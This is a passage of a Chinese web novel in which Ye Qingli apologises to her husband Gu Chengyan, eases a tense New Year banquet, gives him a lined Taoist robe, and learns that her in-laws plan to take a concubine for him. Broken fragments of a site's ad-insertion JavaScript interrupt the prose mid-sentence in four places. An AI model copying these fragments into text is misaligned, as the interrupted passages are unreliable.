叶青漓从竹页的眼睛里看出答案,瞬间如被雷劈一般震惊当场。 完蛋!她真的对顾承宴无礼了! “我对他做了什么?” “大少奶奶不记得了?” 叶青漓机械摇头。 竹页看着她一脸尴尬,心底有些纠结。 从小到大,想要扑进公子怀里的女人何其多?公子最是讨厌这种事!可昨日自己要去救公子时却被他拒绝,竹页能理解,公子是不想让外人说叶青漓的闲话。可如此一来,公子岂不是委屈了自己? 昨日的事虽说是个意外,且叶青漓喝醉了,可自己也不能任她做错了事,还什么都不知道! 最起码,得告诉她,公子不喜欢她的亲近,让她以后行事有分寸些! 竹页悄悄看了书房门口一眼,向叶青漓招手往僻静处走。叶青漓也知这种事不好在当事人眼皮子底下细说,忙跟上竹页的步伐。 两人走进一丛竹林,竹页才哈着冷气,语重心长道:“其实以奴才的身份是不该对大少奶奶说的,可大少奶奶昨日做得实在太过分,奴才觉得还是要提醒您一下。” 叶青漓像个犯了错的小学生一样,站在竹页面前,低垂着脑袋,聆听他的教训,时不时还点头表示自己听懂了。 到最后,叶青漓还伸出一只手来,“我保证,以后绝不会再发生这种事了!” 竹页见她答应得利索,心中对叶青漓的些微不满也没了,“昨日之事说来也是个意外,大少奶奶既然知道了,以后心里记着就好。今日天冷,大少奶奶快回去吧。” “不!” 叶青漓摇头,明媚的眼里满 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是坚定,“做错了事,就要道歉求得他人的原谅才行。竹页,多谢你告诉我!” 说着,叶青漓忽然转身,再次朝顾承宴书房走去。 竹页一惊,没想到叶青漓会来这么一出,吓得立刻想把人拦住。 可惜慢了一步,叶青漓已经再次推开了顾承宴的书房。 竹页看着半开的房门,瞬间失去了全身力气,“完了,全完了!” 顾承宴听见动静,看着再次出现在书房里的叶青漓,心中觉得奇怪。 “怎么了?是忘了什么东西吗?” 叶青漓摇头,又点点头,“我知道我昨天对你做了什么了!” 话音落下,顾承宴捏着笔的手瞬间用力,深邃的双眸紧紧盯着她,“你,记起来了?” 叶青漓没回答他的问题,几步走到顾承宴面前,表情严肃地看着他。 “我都知道了。” 叶青漓神情十分凝重,顾承宴下意识觉得不好,刚想说不必将那事放在心上,却见叶青漓忽然双手合十,隔着桌子对顾承宴道起歉来。 “昨日我不该喝醉酒耍酒疯,还把你推倒在地上,对不起,你能原谅我吗?” 虽然对于叶青漓来说竹页说的根本算不得什么,可她不得不替顾承宴想,他一个洁身自好清清白白的小道士,被醉了酒的自己扑倒在地上,应该受了很大惊吓吧? 顾承宴哑然片刻,轻笑一声,将手中的笔丢在一旁,“原来是这事,你是听竹页说的吧?这是昨日他匆匆一撇误会了。昨日你喝醉脚下不稳,险些摔倒在地上,我着急扶你也跟着摔倒,这才出现竹页看到的那一幕。” 顾承宴故作轻松道:“其实什么都没有发生。” “真的?” “真的。” 顾承宴表情温和又平静,加上那张极具魅惑力的脸,让人不自觉相信他的话,叶青漓也因此忽略了他一直紧握成拳的左手。 “只是这样那就太好了,我还以为我昨天把你怎么了呢!哈哈哈!我的意思是,我没有对你做什么真是太好了!哈哈哈!我还有事,我先走了。” 叶青漓转过身时,紧紧闭上眼睛。 太尴尬了!她简直把自己这辈子的人都丢尽了! “等等。” 这一次,是顾承宴叫住了她,叶青漓调整心绪,面带微笑转过身来。 “夫君还有何事?” “我下山是为破案,如今案子已结,必安已死,我也该上山向师父复命。” 提起正事,叶青漓心中最后一点尴尬很快消散,“夫君什么时候走,我为你收拾行李。” “这就走,行李就不必了,我一惯用不上那许多东西。” “这么急?” “嗯。” 顾承宴说罢,起身将刚才一直写的东西收了起来,披上御寒的大氅,就打算出门。 “咣当——!” 倏然间一道寒风袭来,吹开了叶青漓未曾关好的房门,凌冽刺骨的寒风瞬间吹散一室暖意,飘扬的雪花在两人面前飞舞,看得人喉间生痒。 “咳咳!咳咳!” 叶青漓昨日喝多了酒,今日赶着来问情况穿得也不多,控制不住咳嗽起来。 顾承宴见状,忙将自己的大氅取下,搭在她身上,又走过去关上房门。 “你没事吧?” “我没事。”叶青漓摇了摇头,有些担忧地看着外间大雪,“今日雪下得这样大,山路必定难行,夫君不若缓一缓,等雪停了再走?” 31. 年宴 顾承宴看了眼外面的风雪,思忖片刻,“也罢,那我再等一等。” 怎知这一等就是五天。 京城的冬季本就寒冷,接连五日大雪不断,更是将气温降到极点。顾国公府中每日有下人清理积雪,尚且道路湿滑,更不必说城外前往白云观的山路。 顾承宴每日看着比前一日更大的风雪,脸上愁容渐深。 叶青漓知道顾承宴急着回白云观是为了向闲云观主复命,要不是自己和泾阳候夫人引着何夫人闹了这么一出,顾承宴早在泾阳候府办酒那日就走了。 他是因为自己才耽误了行程,叶青漓理所应当要为顾承宴考虑一二。 她特意来到覃竹园与他商量,“如今大雪封路,坐在马车里都寸步难行,何况夫君步行。科举舞弊一案已经过去这些日子,那些牵涉其中的人被抄家被流放闹了好一阵,观主即使在白云观也该有所耳闻。” “既如此,夫君何必急着回去,不如留在府中,等积雪消融再行上路。” 妍丽的脸庞映入眼帘,顾承宴看着叶青漓红唇翕动,柔软的触感似乎还在颊边停留。 下一刻,顾承宴鬼使神差答应了。 “好。” “真的?” 叶青漓清秀的眉间盛着惊讶,她只是客气说一说,没成想顾承宴竟真的会答应,她看着顾承宴那张绝美的脸,试探问道:“雪下得这样大,等到积雪融化必也是年后的事了,夫君打算在府里过年吗?” “嗯。” 叶青漓更加震惊! 无论是原书中还是上一世,顾承宴和顾家人的关系都十分疏离,确切来说是几乎零交集。自己除了在叶蕙珠口中听过几句对顾承宴的抱怨,甚至从来没在顾国公府或京城其他地方见过他。 这也是两人初次见面叶青漓并不认识顾承宴的原因。 他明明对顾国公府这么厌恶,现在却愿意留下,为什么? 叶青漓想了半天,只能归结于何夫人这个舅母在他心中果然不一样! * 几日时间匆匆过去,京城的雪果然没有融化,顾承宴只能留在顾国公府过完年再走,确认这个消息后,最高兴的人莫过于顾国公。 顾承宴乃顾国公嫡长子,这些年来父子二人关系冷淡,一直是顾国公心里的一个痛。 这是顾承宴自十五岁上山起第一次在顾国公府过年,被他看作是顾承宴原谅自己的标志,高兴得眼睛都眯起来,脸上整天挂着温和的笑意。 叶青漓第一次从他纵欲过度的脸上瞧出几分顾承宴的影子。 府内人人都看得出顾国公心情的变化,晚上的晚宴便显得越发重要起来。 顾家人口众多,过年自然也比寻常人家隆重。赵氏一早着手准备三十这日的晚宴,府中女眷包括六妹顾承英,人人都领了差事,叶青漓也不例外。 要负责采办热菜,凉菜,汤品,甜点,酒水,这些是极繁琐的东西,却也是油水最大的。唯有叶青漓被分配了个准备餐具的活计,都是顾国公府现有的东西,叶青漓只需随意挑选一套即可。 这种在赵氏看来是区别对待的事情,在叶青漓心里甚至没留下一点痕迹。 谁愿意为了一顿饭忙活半个月啊? 这种苦吃一辈子就够了,这辈子她就愿意做个闲散人员。 大雪下个不停,天色由明渐暗。顾国公府四处挂上高高的红灯笼,胆大的仆从在门口点起了炮竹,府内外霹雳作响,沁入心肺的冷空气里多了股火药的味道,到处都是过年的气氛。 叶青漓和顾承宴来到饭厅时,桌子上的人已经坐齐了,顾国公是个多情也长情的人,这样的好日子,府里的几个姨娘也出来了。 顾承宴走到桌前,朝着顾国公叫了声父亲,不等赵氏嘴角笑意绽开,便自顾自坐下。女人脸上表情微僵,却在极短的时间调整好情绪,微笑着看向叶青漓。 叶青漓身为一个险些被休弃的‘冒牌货’,自然不能像顾承宴这般‘无礼’。 她嘴角噙着一抹得体的笑,“见过公爹,婆母,还有几位姨娘。” 未曾想自己还有被嫡长媳见礼的一天,三个姨娘表情不一。有的唯唯诺诺飞快朝她看了一眼,有的大方自然冲叶青漓点头示意,有的却鼻孔朝天,丝毫不将叶青漓放在眼里。 一个照面的功夫,叶青漓大致了解对方的性格,她嘴角依旧带着笑意,在顾承宴身边坐下。 两人落座后,顾国公便宣布家宴开始。仆从们很快摆上菜肴,酒水,随后退至一旁。 顾国公端起酒杯,起身总结了几句,无外乎是一家人相聚不容易,今日是个团圆的好日子,希望以后顾家都能如今日这般和和美美,团团圆圆。 话中之意指向不要太明显! 赵氏身为最熟悉顾国公想法的人,即使看向顾承宴的眼神已经淬了毒,却还是带着笑意站起身附和了两句。三公子见状将赵氏的话重复一遍,之后每人都站起来说了一句吉祥话。 轮到顾承宴时,他却神情淡漠,目光虚无地望向一处,丝毫没有起身回应的意思。 热了半天的场子瞬间冷了下来,几乎所有人的目光都落在顾承宴身上。 性子最急躁的四公子顾承浩第一个开了口,“大哥,你好不容易跟我们一起过年,怎么也该起来喝一杯吧……嘶——!泼妇,你踩我干嘛?” “浩儿!莫要在此喧哗!” 四公子的姨娘突然出口,冲他摇头。顾承浩略有不满地瞪了眼郑瑜蓓,到底没再说什么。 顾国公手里的酒杯还端着,脸色却越来越黑。五公子顾承泰见状,举起酒杯朝着顾承宴笑道:“大哥,今日是过年的大喜日子,你又多年未曾这般与我们相聚,如此难得的时刻,实在应该举杯共饮啊!” 然而顾承宴一个眼神都没给他。 顾承泰笑容微滞,他身边的于婉婉轻轻拉了下他的衣角,这才讪讪收起自己的酒杯。 二公子顾承平一向是不管闲事的,府内诸多争斗他都是能避则避,这种场面他也一直低着头,眼睛盯着自己的酒杯没有说话。 三公子顾承卓就没有这般拘谨了,身为顾国公府当家主母所生的唯一嫡子,虽然少了一个长字,可他比顾承宴也小不到一岁,平日里更是看不惯顾承宴故作清高的样子。 “我听说大哥今年要留在府里过年,还以为 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你是开窍不想当神仙想当凡人了,没想到还是这么别别扭扭的。往年咱们一家人过年都高高兴兴的,怎么今年你一来气氛就冷成这样?大哥,你要是不想在府里就回你的山上去,都坐在这了,还装什么?” “承卓!不许对你大哥无礼!” 赵氏出声喝止了顾承卓的埋怨,神情颇为严厉,却让众人完完整整听完了顾承卓的吐槽。尤其是顾国公,本就黑沉的脸色越发难看,斥责的话似要脱口而出。 赵氏母子几个紧张地望着他,眼里满是幸灾乐祸的得意!另外几人也同样面有不悦,等着看顾承宴的笑话。顾承宴始终未发一言,只是静静地坐在那里。 “孽……!” 千钧一发之际,叶青漓忽然起身,举杯看向众人,高声笑道:“青漓初入顾府,这还是第一次在府内过年,果然比我从前要热闹许多。爆竹声中一岁除,明朝又是新一年,青漓在此祝公爹和婆母身体健康,祝几位姨娘美丽常在,祝弟弟弟妹万事如意,祝妹妹早日觅得如意郎君!” 说罢,她又看向顾承宴,目光柔和且安宁,“祝夫君岁岁平安,所得皆所愿!” 叶青漓站起来得太突然,顾国公到嘴边的话被堵回去,仅冒出的一个字也被叶青漓的声音压了下去。满堂飘荡着她脸上喜气洋洋的笑意,和那一声声甜美的祝福。 顾承宴惊诧地看了叶青漓一眼,她本不用这样做的,可是对上女子温柔璀璨的双眸,顾承宴终是动了。 他端起面前的酒杯,与叶青漓的轻轻相碰。 一声清脆的‘叮’响起,如开关一般打开了顾府热闹的气氛。众人举杯共饮,晚宴正式开始。 虽说气氛在叶青漓的缓和下有了回温,可顾承宴表情依旧冷冷的,众人也不打算继续热脸贴冷屁股,各自安静吃着菜,打算尽快结束这别扭的一顿饭。 哪知顾国公又倒了一杯酒举向顾承宴,一脸语重心长,“你如今长大了,也娶妻了,想必也能体谅我当年的苦衷。” 此话一出,顾承宴眸底寒意顷刻爆发,叶青漓坐在他身边感觉身侧刺骨的寒意,顾国公却像看不懂脸色一般,继续说着,“为父这辈子能守住顾国公府的门楣就不错了,你如今既然有了太子的门路,就不要再去那什么白云观,好好跟着太子干,将来……” “公爹这是说得哪里的话?夫君何时跟太子扯上关系了?” 不是叶青漓无礼,屡次打断顾国公的话,实在是赵氏母子的眼神太过吓人,叶青漓只怕这件事解释不清楚,一会儿顾承宴都下不了这张桌子! 面对这个能帮他缓和父子关系的便宜儿媳,顾国公罕见泄出几分温柔,“你们小夫妻也不必藏着掖着,那日太子府的人来找承宴,我全都看见了,这是好事,有什么不能说的?” 叶青漓转头,满眼疑惑,有这回事吗? 顾承宴微微皱眉,却并未否认,目光落在桌上的一道果子上。 叶青漓瞬间明白,定是因为必安的事! 她记得办案的时候顾承宴脚不沾地,几乎不怎么回顾国公府,唯有必安的死讯是太子府的人传回来的。 只是不想这么巧,竟被顾国公看了个正着! 32. 礼物 从顾国公提起太子名讳后,满桌子不仅赵氏,其他人更是将耳朵竖得高高的,生怕自己听漏了什么。 叶青漓环视一眼各怀鬼胎的众人,一脸坦然,笑意盈盈地看向顾国公。 “您误会了!” “诸位都是消息灵通的人,想必也听说过前不久的科举舞弊一案。”叶青漓笑望着其他人,果然,提起近期这个摘掉许多人脑袋的大案子,众人都目光微敛。 “这案子和白云观有一点牵扯,太子殿下要问询白云观内部事宜,夫君又刚好就在国公府上,自然是找夫君更便宜。至于公爹说的为太子殿下做事,这我就不清楚了。” 叶青漓声音带着疑惑,扭头看向顾承宴,“夫君,有这回事吗?” 顾承宴声音冷冷的,“无稽之谈!” 众人都清楚顾承宴的性子,他向来说什么就是什么,这一否认彻底让一些人把心放到肚子里。 唯有顾国公脸色更加不好,他本以为自己这个嫡长子愿意和自己亲近了,还越来越有出息,没想到全都是自己一厢情愿。 他肃着脸重重将酒杯放在桌上,强硬开口,“不管太子殿下对你有没有赏识,你如今这么大了,娶妻后不再是独身一人,也该给自己找个差事干!” 他思忖须臾,斩钉截铁道:“这样吧,明日我给你找个差事,你以后就留在府中,别回山上了。” “师父还等着我回去复命,恕难从命。” “你……!” 顾承宴毫不留情的拒绝险些又让顾国公气到,他正要和往年一样破口大骂,目光忽而落在叶青漓身上,紧皱的眉头瞬间舒展。 “青漓啊!” 叶青漓第一次听见这个称呼,险些没反应过来,“……我在。” 顾国公笑得一脸讨好,“你是承宴的妻子,他好了往后你的日子才能好,你快帮我劝劝他!” 叶青漓一噎,未料到顾国公会将突破口转到自己身上。大概是方才自己两次开口,给了他自己能劝动顾承宴的错觉吧! 叶青漓心底微微叹了口气,微笑着看向顾国公,“夫妇本为一体,我既然成了夫君的妻子,夫君的任何决定我都支持!” 如此委婉的拒绝,瞬间打破了顾国公心底最后的一丝期盼。他紧紧皱着眉头,方才看着还算顺眼的叶青漓,瞬间又成了那个令人厌弃的,身份低微的义女。 他胡乱摆着手,“罢了罢了,你愿意做什么就做什么吧!以后为父再不会管你!” 顾国公说下这般无情的话,赵氏和三公子等人眼底流淌着喜色,顾承宴却始终保持那副冷冷清清的样子,眼底尽是疏离和冷漠,仿佛和他坐在一桌的人,不是他的血脉亲人,而是一些想要将他吞吃入腹的妖怪。 叶青漓看着这样的顾承宴,有些理解他年纪轻轻就自断红尘,上山做道士的想法。在这样的家庭氛围下生活,还不如每日在那间静室念念经书。 起码,白云观的风景还是不错的! 一顿家宴就在这样诡异的氛围下结束。 顾府每年过年还有守岁的习俗,不过,大抵是吸取了方才饭桌上的教训,顾国公并未坚持让所有人都陪着他一起守岁,而是允许大家各自回房守岁。 他话音刚落,顾承宴头也不回转身就走。 叶青漓见他动身,冲顾国公和赵氏说了一声,忙跟上顾承宴的脚步。 两人离开后,在饭桌上几乎没怎么说话的二公子顾承平也带着自己的姨娘和妻子离开。 辛氏大着肚子,赵氏自然不愿让她守岁,忙招呼她回去休息,三公子见状以照顾妻子为借口,也跟着离开。 顾承英在顾家有独一份的宠爱,她嫌累不想守岁,即使顾国公此刻正在起头上,也不会对她生气,点了点头就让她回去了。 方才热闹非凡的饭厅,一下子空了大半,顾国公看着这一幕,眸底划过一抹落寞。 然而这还不算完,顾承浩与郑瑜蓓两个是不对付的,平日里两人在自己院子就吵个不休,如今到了这,虽然有三公子的姨娘从中调停,两人依旧吵得面红耳赤,看得顾国公心烦,他连忙挥手赶三人回去。 就剩下五公子一房还老老实实坐着,可顾国公想要和儿女共享天伦之乐的兴致已经一扫而空。 “罢了,人都走了,咱们还守这个岁做什么,都回去休息吧!” 说罢,他便背着手离开,不再强壮的背影里隐隐透着几分寂寞。 * 叶青漓对饭厅内之后发生的事情一无所知。 她和顾承宴离开后便各自朝着自己的院子赶,临到那处分别的长廊时,叶青漓忽然叫住顾承宴。 “夫君。” 顾承宴停下脚步,“怎么了?” “今日过年,我为夫君准备了一件礼物,夫君可有时间亲自去看一眼?” “礼物?” 顾承宴好看的眉头皱起,眸底尽是疑惑。在他短暂的和家人共度的时光里,还从未收到过礼物。 烛火的光晕透过大红灯笼落在叶青漓白皙的小脸上,仿佛为她染上一层胭脂,美丽又诱人。 顾承宴喉间一紧,“好!” 两人一同去了蔚莲阁,叶青漓先让顾承宴找个地方坐下,而后去了内室,抱着一样东西走出来。顾承宴看不出她怀里的是什么,只看见她脸上带着几分期待,眼底闪着兴奋的光。 “多亏夫君之前送我的那几本书,现在我的书铺生意大好!我想着该送夫君些东西作为谢礼,想来想去都不知道送什么,夫君出身顾国公府,吃过用过的好东西比我见得多了,便只好选了样最普通的。” 虽然真正看过顾承宴书的学子没有几个,可是甄良义和那两个学子都不是有眼无珠的人,他们在经过曹掌柜的筛选后,刚看过顾承宴的书,便个个拍手叫绝!几人都是此次应届考生中的翘楚,有他们免费做推广,之前官兵抓人带来的影响已经彻底消失。 叶青漓的书铺终于迎来了收益为正的日子。 另外,虽然这一世叶青漓和甄良义之间的关系并不如上一世那么熟悉,作为曾经的好友,叶青漓还是希望甄良义能得偿所愿。 曾经她以为甄良义是因为科考时生了病,才会名落孙山,如今细细想来,大概是那些买了试题的人占了本该属于他的位置。顾承宴虽是误打误撞发现科举舞弊一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 案,却能顶着各方压力举报,还在太子的眼皮子底下将涉案人员全都查处,实在是让她钦佩! 哪怕不是为了甄良义,只为了那些寒窗苦读十几年的学子们,叶青漓也觉得自己该好好感谢一番。 而且,要不是有前面这些事,她也不能这么自然地将换亲一事揭开,给叶修恺重重一击。 于公于私,叶青漓都十分感谢顾承宴。 她抱着那堆东西走到顾承宴面前,“夫君猜猜这是什么?” 顾承宴看着被包裹得严严实实的‘礼物’,摇了摇头,“猜不出。” “当当当当!” 叶青漓忽然揭开裹着的黑布,一件青绿色的道袍映入顾承宴眼中。 叶青漓巧笑嫣然,“我和舅母逛街的时候提起白云观湿冷,你身上的道袍有些单薄,舅母便给我推荐了这家铺子,按照白云观道袍的服制特别定制,到了今日刚好完成。快来穿上试试!” 顾承宴看着面前的礼物,一时呆愣在原地,竟不知该如何开口。 年幼时,母亲曾为他亲手缝制新衣,那时,他是顾国公府嫡长子,身份尊贵,备受宠爱,并不将一件衣服看在眼里。 长大些,是舅母为他准备新衣,舅母女红不好,经常做了许久,却发现一只胳膊长一只胳膊短。每当这时,舅母便会十分愧疚,向他保证下次一定做好点。 后来,舅母一家去了边关,顾国公府内赵氏掌权,顾承宴第一次在一件衣服里发现透着寒光的长针。 再后来,他去山上做了道士,身上便只穿道袍了。 顾承宴看着面前的道袍,依旧有些惊讶。叶青漓却不管他是什么反应,招手让他换上,她的目光太热切,顾承宴无法拒绝,只能上前接过。 叶青漓准备的只是一件外袍,顾承宴并不用脱下衣服,直接穿在了身上。 作为礼物的准备者,叶青漓对这件衣服长什么样子十分清楚,可她从未想过这件衣服穿在顾承宴身上,竟然如此合身! 青绿色的道袍外观上与白云观的没有任何区别,细看却别有洞天。考虑到白云观在山上,气候比城内更加湿冷,叶青漓特意让裁缝在里面缝了一层细软的绒毛,穿在身上尤为暖和。衣服的袖口边有几道暗纹,在阳光照射下若隐若现,显得人更加贵气。 明明顾承宴里面还穿着一身冬衣,可这件外衣套上却不显臃肿,依旧是宽肩窄腰大美男一个,叶青漓这般瞧着甚至觉得顾承宴的脸都比平日里要红一些。 嗯,果然,衣服做加厚是正确的!保暖才是王道! “转一圈。” 顾承宴虽然不明白转一圈的意义在何处,却还是老老实实转了起来,待重新与叶青漓四目相对时,两人同时怔住。 “嘭——!” 一声烟花在两人耳边炸响,紧接着便是更多噼里啪啦的鞭炮声。窗外的烟花燃起,五颜六色的光透过未闭紧的窗牖照在两人的脸上,那么绚丽,让人心动。 一片嘈杂声中,叶青漓看见顾承宴的嘴巴动了一下,她略有些不解,扯着嗓子问,“你说什么?” 顾承宴看着她闪耀动人的眼睛,柔声说道:“谢谢!” 33. 纳妾 顾承宴又在顾国公府待了半个月,待新年的第一缕暖阳将大雪晒得初化时,便穿着叶青漓送的衣服回了白云观。 他一走,蔚莲阁外的目光瞬间消失。 叶青漓对于有人监视蔚莲阁一事接受十分良好,她明白,在这样的大宅子里,这种事情是避不开的,只要自己的蔚莲阁内部没有被人侵入,其他的,都随便。 顾承宴走后,叶青漓恢复到每日逍遥逛铺子的日子,有时候逛的是自己的铺子,有时逛的是京城里那些生意火爆的铺子。怎知她只是悠闲地过自己的日子,竟会引起别人的不满。 顾国公因为年宴上顾承宴的冷漠,一直心气不顺,这些天对着赵氏总是吹鼻子瞪眼的。赵氏与他做了多年夫妻,早就把顾国公的脾气摸顺,知道这种时候自己最好不要往枪口上撞,于是拉来一个替她挡枪的人。 这日,叶青漓拿着新买的胭脂正和采莲有说有笑的,忽然被顾国公叫到跟前,劈头盖脸骂了一通。 “你还知不知道自己是什么身份?既然已经嫁进顾家,成了承宴的妻子,就要承担起自己肩上的责任,怎可一天到晚出门闲逛?这成何体统?!” 顾国公这股无名之火来得莫名其妙。 她嫁的是顾承宴,顾承宴都没说什么,他在这指手画脚什么? 看在对方是顾承宴亲爹的份上,叶青漓没有直接反驳他,目光瞥向一旁眼底挂着坏笑的赵氏,态度恭敬道:“公爹教训得是,从前是青漓偷懒了,从今日起青漓一定会谨记自己的身份,承担起肩上的责任。只是不知婆母什么时候把掌家的钥匙对牌交给我?” 赵氏眉心一跳,“你要这些东西做什么?” 叶青漓朝顾国公摊手,又看向赵氏,“这不是公爹要我担起责任?青漓嫁的是顾家嫡长子,理应肩负起管理中馈的重任,婆母年岁已高,再叫您每日操劳确实不好,之前是青漓疏忽了,婆母放心,以后我掌家,一定让您轻轻松松安享晚年。” “你……!” 按照常理,嫡长子继承家业,嫡长媳管理中馈。一般人都会在儿媳进门后将一部分府内事务交到她手上,作为历练,结果满意之后再慢慢过渡,直到完成权利的交接和转移。在一些开明的人家,甚至在新婚第二日就把对牌钥匙给了儿媳,可顾家和那些人家情况能一样吗? 顾承宴又不是自己亲儿子!她怎么可能把自己手中的权利交给这个女人?! 赵氏显然没想到叶青漓会忽然提起掌家一事,怔在原地半天愣是没想出一句反驳的话。 顾国公对赵氏心中的小九九心知肚明,闻言忙替她回绝,“你别岔开话题,我说的不是管家的事,是承宴的子嗣问题!” “子嗣?” 这下愣住的人轮到叶青漓。 她跟顾承宴压根没圆过房,怎么可能有孩子?何况她才嫁进来多久啊,顾国公就着急抱孙子了?府中五位公子,除了三公子的孩子正在腹中,其他人哪个不是膝下空空,他不去催那些结婚早的,反而来催自己这个刚结婚两个多月的黄花大姑娘? 叶青漓对顾国公的着急嗤之以鼻,冷着声音道:“这种事情急不得,公爹若是想抱孙子,不如去找三弟妹……” “跟她有什么关系?”顾国公冷哼一声,“我担心的是承宴!承宴已经二十六岁了,旁人在他这个年纪,早就儿女双全,你再看看他,孤零零一个人,不仅膝下空虚,身边更是连个知冷知热的人都没有!这么冷的天,他要回白云观你也不知道拦着!” 哪怕经过上辈子的修炼,叶青漓面对这种无理取闹的人,还是做不到心平气和。她一边安静听候顾国公的训话,一边心里翻着白眼。 你也知道顾承宴二十六,是大龄剩男,那你这十年在干什么?和叶家的婚事是早就定好的,你倒是把儿媳妇娶进门啊!你儿子在山上冷清了十年你都看不见,如今我一进门你倒是开始心疼了,你那慈父心肠难道必须要一个儿媳进门才能打开开关吗?! 而且顾承宴那么大一个人了,腿长在他身上他想去哪去哪,是自己两句话就能拦住的吗?! 南朝讲究以孝治天下,尽管叶青漓心里将眼珠都翻到天上去了,对着顾国公依旧是一副从容姿态。 “公爹说得是,青漓一定会努力的,等下次夫君下山……” “你别努力了!”顾国公忽然抬手打断叶青漓的话,“自你进门,承宴一次都没有碰过你,想也是这婚事答应得太仓促,他对你不满意。” 顾国公眼神阴鸷,毫不掩饰自己对叶青漓的嫌弃,“要不是承宴坚持不休妻,上次我就把你赶出顾家了!如今你既然做不好这顾家大少奶奶,那就让别人来做!” 事情完全出乎叶青漓的预料。 顾国公一直对自己都是爱搭不理的状态,除了顾承宴在府中时,偶尔给自己几个好脸,大多时候都对自己视而不见。今日这是怎么了?休妻都说出口了? 叶青漓看了眼隐在顾国公背后的赵氏,眸底划过一抹暗色。 “公爹是要休了儿媳吗?” 顾国公张了张嘴,到底没敢承认。上次顾承宴说得很清楚,他不打算休妻,如果自己背着他把这女人赶走了,还不知他会是什么反应。 他摸了摸鼻子,“咳,我们顾家不是那等黑心门户,你既然进了门,又没犯大错,是不会休了你的。” 叶青漓冷冷勾唇,“那公爹方才的意思是……” “我是说你既然不能给承宴诞下孩子,不如再找别人。” “公爹是要给夫君纳妾?” 这下顾国公总算没再顾左右而言他。 叶青漓越过顾国公的脸看向他身后的赵氏,果然在对方眼中看见一抹挑衅。叶青漓不明白,她和顾承宴本就是有名无实,再纳一个妾能改变什么?或者说,赵氏想要的到底是什么? 见叶青漓沉默,赵氏眸底的喜色越发浓,几步上前走到叶青漓面前,拉起她的手伪善关怀。 “好孩子,我知道这件事对你来说很难接受,可是一切都是为了承宴好啊!你这么喜欢承宴,一定不忍心看他没有孩子吧!” 叶青漓抽回自己的手,“如果我不同意,公爹和婆母会休了我吗?” “傻孩子,休妻哪里是说休就休的,我们也是心疼承宴,才……” “我同意! (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “你说什么?”赵氏准备了一肚子的话瞬间被咽回去,难以置信地看着叶青漓,“你真的答应了?要知道这妾室若是在你之前生下孩子,你这正妻的地位可就不稳了!” “婆母既然知道,为什么还要给夫君纳妾?” 赵氏被问得哑口无言,她自然是想离间两人的关系! 虽然她可以确定叶青漓和顾承宴并未圆房,可是两人一起出现的时候,总是给自己一种他们十分亲密的错觉。 例如上次何妙旋来家里闹,顾承宴宁愿惹恼从小对他关怀备至的舅母,也不肯休妻,又比如过年那顿家宴上,顾承宴给了所有人冷脸,在叶青漓举杯时却愿意与她碰杯,叶青漓甚至能将顾承宴和太子之间的接触娓娓道来,二人全然不像是自己以为的表面夫妻。 赵氏久居内宅,感知不到朝堂中的大事小事,察觉不到顾承宴在科举舞弊一案中起的作用,只能在案子了结时听个热闹,可对于内宅里的事情,她却极其敏锐! 她有预感,一旦让两人继续这样发展下去,顾承宴说不定很快就会改变心意,她决不能让这种事情发生! “我……” 赵氏被问得说不出话,顾国公再次替她解围。 “我们是承宴的长辈,所做的一切自然是为了承宴好,难道你打算让他一辈子都没有孩子吗?” 叶青漓心底再次翻了个大大的白眼! 说得跟她不能生一样!明明是顾承宴有问题好吧!我还没嫌弃你儿子,你倒先嫌弃上我了! “儿媳不敢,既然公爹和婆母都商量好了,儿媳自然不敢拒绝,一切但凭您二位吩咐!” 见她答应了,两人才相视一眼,满意地笑起来。 “儿媳还有个问题。” 顾国公撇她一眼,“问。” “不知公爹和婆母打算给夫君纳谁为妾?” 闻言顾国公住了嘴,轻轻抚摸着胡须,脸上是心满意足的笑。 故弄玄虚的样子勾起叶青漓的好奇,她又看向赵氏。 赵氏心底也满是得意,不过她知道在事情没有成功之前不能轻易暴露对方的身份,免得叶青漓反悔。 她给了叶青漓一个安抚的眼神,“你放心,我也是女人,自然不会让那些心思野的进门,扰乱府内宁静。这次给承宴纳的妾室是一个家世清白,知书识礼,温柔懂事的孩子,到时候你可要多多照顾她!” 家世清白,说明赵氏对对方知根知底,起码认识那姑娘的父母;知书识礼,能看书认字,懂得大户人家的礼仪,这姑娘家世怎么也不会太低,起码比沈家强;温柔懂事就难说了,顾承宴那个性子,与其说赵氏让她进门是给顾承宴生孩子的,不如说是和自己打擂台,一个温柔又懂事的女子,她们怎么打得起来? 叶青漓眸底闪过一抹幽色,“既然婆母这样说了,我这就去给这位妹妹收拾一间屋子出来。” 赵氏又拉住她的手,“不急!我现在写信给她,等她到顾府也该是几个月后的事了,到时候就让她先住在客院,等承宴下次回府再商量她的住处。” 几个月,这么说那姑娘不在京城? 34. 聊天 做了十多年的当家主母,叶青漓对于纳妾一事已经熟能生巧,不过既然赵氏将事情全权接过去,她也没有必要给自己找事做。 至于那个素未谋面的姑娘,叶青漓只能说,祝她好运吧! 距离那位姑娘进门,还要几个月的时间,叶青漓自然不会将心思都放在她身上。她每日和采莲逛逛街,买买东西,有时间去铺子里转转,看看自己的钱包一天天鼓起来,日子美妙极了! 她不将纳妾当回事,顾国公府内却有人不淡定了! 恰逢今日艳阳高照,是个难得的晴天,顾国公府内积雪融化,初春的嫩芽渐生绿色,带给人勃勃生机。 辛氏怀孕已有四个多月,正是胎相稳固的时候。她抚着肚子和郑氏几人在花园里欣赏景色,大约是赵氏特意向她保证了什么,她身上那股有人会将自己孩子抱去的担忧总算没了,取而代之的是一股温和的母性。 见到叶青漓走来,辛氏冲她笑了一记。 “大嫂。” 叶青漓点点头,就要回自己院子里去,自己虽然不会对辛氏起歹心,可是防人之心不可无,辛氏怀着身孕,自己还是离她远点好。 她想远离是非,偏偏有人不想如她的意。 郑氏忽然大声说道:“大嫂别走啊,自大嫂进门,我们妯娌几个好像还从来没有坐下来好好聊过天呢!今日天气这般好,不如一起聊聊?” 